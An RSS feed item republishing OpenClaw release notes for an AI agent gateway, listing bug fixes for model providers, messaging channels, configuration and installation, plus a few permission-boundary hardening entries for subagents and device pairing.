<li>CLI/model probes: request trusted operator scope for <code>infer model run --gateway --model &lt;provider/model&gt;</code> so Gateway raw model smokes can use one-off provider/model overrides instead of being rejected before provider auth resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345598480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73759" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73759/hovercard" href="https://github.com/openclaw/openclaw/issues/73759">#73759</a>. Thanks @chrislro.</li>
<li>CLI/image describe: pass <code>--prompt</code> and <code>--timeout-ms</code> through <code>infer image describe</code> and <code>describe-many</code>, so custom vision instructions and slow local model budgets reach media-understanding providers such as Ollama, OpenAI, Google, and OpenRouter. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231557359" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63700" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63700/hovercard" href="https://github.com/openclaw/openclaw/issues/63700">#63700</a>. Thanks @cedricjanssens.</li>
<li>Model selection: include the rejected provider/model ref and allowlist recovery hint when a stored session override is cleared, so local model selections such as Gemma GGUF variants do not fall back to the default with a generic message. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322522808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71069/hovercard" href="https://github.com/openclaw/openclaw/issues/71069">#71069</a>. Thanks @CyberRaccoonTeam.</li>
<li>OpenAI-compatible providers: drop malformed event-only or blank-data SSE frames before the OpenAI SDK stream parser sees them, so proxies that split <code>event:</code> from <code>data:</code> no longer crash streaming runs with <code>Unexpected end of JSON input</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4120148034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52802" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52802/hovercard" href="https://github.com/openclaw/openclaw/issues/52802">#52802</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway/OpenAI-compatible streaming: strip <code>&lt;final&gt;</code> tags split across streamed model deltas before they reach SSE clients, so <code>/v1/chat/completions</code> no longer emits tag remnants or drops content when final-answer wrappers cross chunk boundaries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63325" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63325/hovercard" href="https://github.com/openclaw/openclaw/issues/63325">#63325</a>. Thanks @tzwickl.</li>
<li>Ollama: resolve explicitly selected signed-in <code>:cloud</code> models through <code>/api/show</code> when <code>/api/tags</code> omits them, so working models such as <code>gemini-3-flash-preview:cloud</code> and <code>deepseek-v4-pro:cloud</code> do not fail dynamic model resolution before the native <code>/api/chat</code> transport runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347240832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73909" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73909/hovercard" href="https://github.com/openclaw/openclaw/issues/73909">#73909</a>. Thanks @chtse53.</li>
<li>Discord/exec approvals: keep the local <code>/approve</code> prompt when no native Discord approval runtime is active, and send a manual fallback notice when native approval delivery reaches no targets, so failed DM cards no longer leave approval turns silent or dependent on model-written shell commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347379791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73954/hovercard" href="https://github.com/openclaw/openclaw/issues/73954">#73954</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347582133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74027/hovercard" href="https://github.com/openclaw/openclaw/pull/74027">#74027</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Local model prompt caching: keep stable Project Context above volatile channel/session prompt guidance and stop embedding current channel names in the message tool description, so Ollama, MLX, llama.cpp, and other prefix-cache backends avoid avoidable full prompt reprocessing across channel turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042157634" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40256" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40256/hovercard" href="https://github.com/openclaw/openclaw/issues/40256">#40256</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042278613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40296/hovercard" href="https://github.com/openclaw/openclaw/pull/40296">#40296</a>. Thanks @rhclaw and @sriram369.</li>
<li>Gateway/OpenAI-compatible API: guard provider policy lookup against runtime providers with non-array <code>models</code> values, so <code>/v1/chat/completions</code> no longer fails with <code>provider?.models?.some is not a function</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264109417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66744/hovercard" href="https://github.com/openclaw/openclaw/issues/66744">#66744</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264303605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66761/hovercard" href="https://github.com/openclaw/openclaw/pull/66761">#66761</a>. Thanks @MightyMoud, @MukundaKatta.</li>
<li>WhatsApp/Web: pass explicit Baileys socket timings into every WhatsApp Web socket and expose <code>web.whatsapp.*</code> keepalive, connect, and query timeout settings so unstable networks can avoid repeated 408 disconnect and opening-handshake timeout loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4159428566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56365/hovercard" href="https://github.com/openclaw/openclaw/issues/56365">#56365</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343447305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73580/hovercard" href="https://github.com/openclaw/openclaw/pull/73580">#73580</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/velvet-shark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/velvet-shark">@velvet-shark</a>.</li>
<li>WhatsApp/Web: recover recently active listeners when a post-408 reconnect keeps receiving transport frames but stops delivering app messages, while keeping group metadata fallback off Baileys sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233698306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63855/hovercard" href="https://github.com/openclaw/openclaw/issues/63855">#63855</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265721576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66920" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66920/hovercard" href="https://github.com/openclaw/openclaw/issues/66920">#66920</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887700676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/7433" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/7433/hovercard" href="https://github.com/openclaw/openclaw/issues/7433">#7433</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280282270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67986/hovercard" href="https://github.com/openclaw/openclaw/issues/67986">#67986</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319778979" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70856" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70856/hovercard" href="https://github.com/openclaw/openclaw/issues/70856">#70856</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197893841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60007/hovercard" href="https://github.com/openclaw/openclaw/pull/60007">#60007</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333345205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72621/hovercard" href="https://github.com/openclaw/openclaw/pull/72621">#72621</a>. Thanks @legonhilltech-jpg, @octopuslabs-fl, @Kanorin-chan, and @stuswan.</li>
<li>Channels/Telegram: persist native command metadata on target sessions so topic, helper, and ACP-bound slash commands keep their session metadata attached to the routed conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168079108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57548/hovercard" href="https://github.com/openclaw/openclaw/pull/57548">#57548</a>) Thanks @GaosCode.</li>
<li>Channels/native commands: keep validated native slash command replies visible in group chats while preserving explicit owner allowlists for command authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344709307" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73672" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73672/hovercard" href="https://github.com/openclaw/openclaw/pull/73672">#73672</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Pairing/doctor: bootstrap <code>commands.ownerAllowFrom</code> from the first approved DM pairing when no command owner exists, and have doctor explain missing owners so privileged slash commands are not accidentally unusable after onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Telegram/exec: infer native exec approvers from <code>commands.ownerAllowFrom</code> and auto-enable the Telegram approval client when an owner is resolvable, so owner-only commands such as <code>/diagnostics</code> can be approved in Telegram without duplicate per-channel approver config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Auto-reply/session: carry the tail of user/assistant turns into the freshly-rotated transcript on silent in-reply session resets (compaction failure, role-ordering conflict) so direct-chat continuity survives the rebind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319746928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70853" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70853/hovercard" href="https://github.com/openclaw/openclaw/issues/70853">#70853</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320196607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70898" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70898/hovercard" href="https://github.com/openclaw/openclaw/pull/70898">#70898</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Skills: load grouped skill directories such as <code>skills/&lt;group&gt;/&lt;skill&gt;/SKILL.md</code> from configured skill roots while keeping grouped discovery capped for large directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163525640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56915" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56915/hovercard" href="https://github.com/openclaw/openclaw/issues/56915">#56915</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332799995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72534/hovercard" href="https://github.com/openclaw/openclaw/pull/72534">#72534</a>) Thanks @ottodeng, @MoerAI, and @i010542.</li>
<li>Config: skip malformed non-string <code>env.vars</code> entries before env-reference checks, so config loading no longer crashes on JSON values like numbers or booleans. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053205994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42402" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42402/hovercard" href="https://github.com/openclaw/openclaw/pull/42402">#42402</a>) Thanks @MiltonHeYan.</li>
<li>Docker Compose: default missing config and workspace bind mounts to <code>${HOME:-/tmp}/.openclaw</code> so manual compose runs do not create invalid empty-source volume specs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241483820" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64485" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64485/hovercard" href="https://github.com/openclaw/openclaw/pull/64485">#64485</a>) Thanks @jlapenna.</li>
<li>Agents/context engines: preserve the child agent's configured <code>agentDir</code> when subagent cleanup re-resolves a context engine, so <code>onSubagentEnded</code> hooks keep operating on the correct per-agent state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269702327" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67243" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67243/hovercard" href="https://github.com/openclaw/openclaw/pull/67243">#67243</a>) Thanks @jarimustonen.</li>
<li>Channels/WhatsApp: restrict pairing verification replies to real inbound user content, preventing unsolicited prompts from receipts, typing indicators, presence updates, and other non-message Baileys upserts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346092528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73797/hovercard" href="https://github.com/openclaw/openclaw/issues/73797">#73797</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346437717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73823/hovercard" href="https://github.com/openclaw/openclaw/pull/73823">#73823</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Configure/Ollama: show the configured Ollama model allowlist after Cloud only or Cloud + Local setup and skip slow per-model cloud metadata fetches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347480168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73995/hovercard" href="https://github.com/openclaw/openclaw/pull/73995">#73995</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Channels/WhatsApp: detect explicit group <code>@mentions</code> again when the bot's own E.164 is in <code>allowFrom</code>, so shared-number setups no longer skip group pings that directly mention the bot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091909998" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49317" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49317/hovercard" href="https://github.com/openclaw/openclaw/issues/49317">#49317</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342031370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73453/hovercard" href="https://github.com/openclaw/openclaw/pull/73453">#73453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>WhatsApp/reliability: publish real transport-liveness into WhatsApp channel status and force earlier reconnects on silent transport stalls, so quiet healthy sessions stay connected while wedged sockets recover before the later remote 408 path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333644872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72656/hovercard" href="https://github.com/openclaw/openclaw/pull/72656">#72656</a>) Thanks @Sathvik-1007.</li>
<li>Core/channels: tighten selected runtime, media, and plugin edge-case handling while preserving existing behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>Channels/WhatsApp: strip leaked plural tool-call XML wrappers on every WhatsApp-visible outbound path and keep channel error payloads out of WhatsApp chats. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329523309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71830/hovercard" href="https://github.com/openclaw/openclaw/pull/71830">#71830</a>) Thanks @rubencu.</li>
<li>Agents/embedded-runner: inject the resolved OAuth bearer (and forward the run abort signal) on the boundary-aware embedded stream fallback so models that route through <code>openai-codex-responses</code> and other boundary-aware transports stop failing with <code>401 Unauthorized: Missing bearer or basic authentication in header</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343169386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73559" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73559/hovercard" href="https://github.com/openclaw/openclaw/issues/73559">#73559</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343600007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73588/hovercard" href="https://github.com/openclaw/openclaw/pull/73588">#73588</a>) Thanks @openperf.</li>
<li>Telegram/gateway: bound outbound Bot API calls and cache bundled plugin alias lookup so slow Telegram sends or WSL2 filesystem scans no longer wedge gateway replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348974196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74210" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74210/hovercard" href="https://github.com/openclaw/openclaw/pull/74210">#74210</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Configure/GitHub Copilot: reuse existing Copilot auth during configure and show the provider's manifest model catalog in the model picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349704967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74276" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74276/hovercard" href="https://github.com/openclaw/openclaw/pull/74276">#74276</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Configure/models: keep the model picker scoped to the selected manifest provider and enable its bundled plugin before catalog lookup, so choosing GitHub Copilot no longer falls back to Ollama or skips the catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350379800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74322/hovercard" href="https://github.com/openclaw/openclaw/pull/74322">#74322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Auto-reply/subagents: reject <code>/focus</code> from leaf subagents and scope fallback target resolution to the requesting subagent's children, so subagents cannot bind conversations outside their control boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344094857" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73613/hovercard" href="https://github.com/openclaw/openclaw/pull/73613">#73613</a>) Thanks @drobison00.</li>
<li>Gateway/startup: skip inherited workspace startup memory for sandboxed spawned sessions without real-workspace write access, so <code>/new</code> no longer preloads host workspace memory into isolated child runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344082702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73611" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73611/hovercard" href="https://github.com/openclaw/openclaw/pull/73611">#73611</a>) Thanks @drobison00.</li>
<li>Agents/tool policy: validate caller group IDs against session or spawned context before applying group-scoped tool policies or persisting gateway group metadata, so forged group IDs cannot unlock more permissive tools. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345261616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73720/hovercard" href="https://github.com/openclaw/openclaw/pull/73720">#73720</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Commands: keep channel-prefixed owner allowlist entries scoped to matching providers so webchat command contexts cannot inherit external channel owners. Thanks @zsxsoft.</li>
<li>Auth/device pairing: bound bootstrap handoff token issuance, redemption, and approved pairing baselines to the documented per-role scope allowlist, so bootstrap approvals cannot persistently grant <code>operator.admin</code>, <code>operator.pairing</code>, or <code>node.exec</code> scopes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Providers/GitHub Copilot: support the GUI/RPC wizard device-code auth flow so onboarding from non-TTY clients (gateway RPC bridge, GUI wizards) completes instead of returning empty profiles. Dangerous-state handling now distinguishes <code>access_denied</code> and <code>expired_token</code> from transport errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340731383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73290" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73290/hovercard" href="https://github.com/openclaw/openclaw/pull/73290">#73290</a>) Thanks @indierawk2k2.</li>
<li>Installer/Linux: warn before switching an unwritable npm global prefix to <code>~/.npm-global</code>, then tell users to run future global updates with <code>npm i -g openclaw@latest</code> without <code>sudo</code> so npm keeps using the redirected user prefix. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067034134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44365/hovercard" href="https://github.com/openclaw/openclaw/issues/44365">#44365</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102245984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50479/hovercard" href="https://github.com/openclaw/openclaw/pull/50479">#50479</a>. Thanks @Sayeem3051.</li>
<li>Gateway/plugins: enable the native <code>require()</code> fast path on Windows for bundled plugin modules so plugin loading uses <code>require()</code> instead of Jiti's transform pipeline, reducing startup from ~39s to ~2s on typical 6-plugin setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288746847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68656/hovercard" href="https://github.com/openclaw/openclaw/issues/68656">#68656</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348588169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74173/hovercard" href="https://github.com/openclaw/openclaw/pull/74173">#74173</a>) Thanks @galiniliev.</li>
<li>macOS app: detect stale Gateway TLS certificate pins, automatically repair trusted Tailscale Serve rotations, and surface paired-but-disconnected Mac companion nodes so partial Gateway connections no longer look healthy. Thanks @guti.</li>
</ul>
<h2>2026.4.27</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.4.29-beta.1]]></title>
<description><![CDATA[2026.4.29
Highlights

Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks @vincentkoc, @scoootscooob, @samzong, and @vignesh07.
Memory grows into a peo...]]></description>
<link>https://tsecurity.de/de/3477041/downloads/openclaw-2026429-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3477041/downloads/openclaw-2026429-beta1/</guid>
<pubDate>Thu, 30 Apr 2026 11:46:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.29</h2>
<h3>Highlights</h3>
<ul>
<li>Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Memory grows into a people-aware wiki with provenance views, per-conversation Active Memory filters, partial recall on timeout, and bounded REM preview diagnostics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
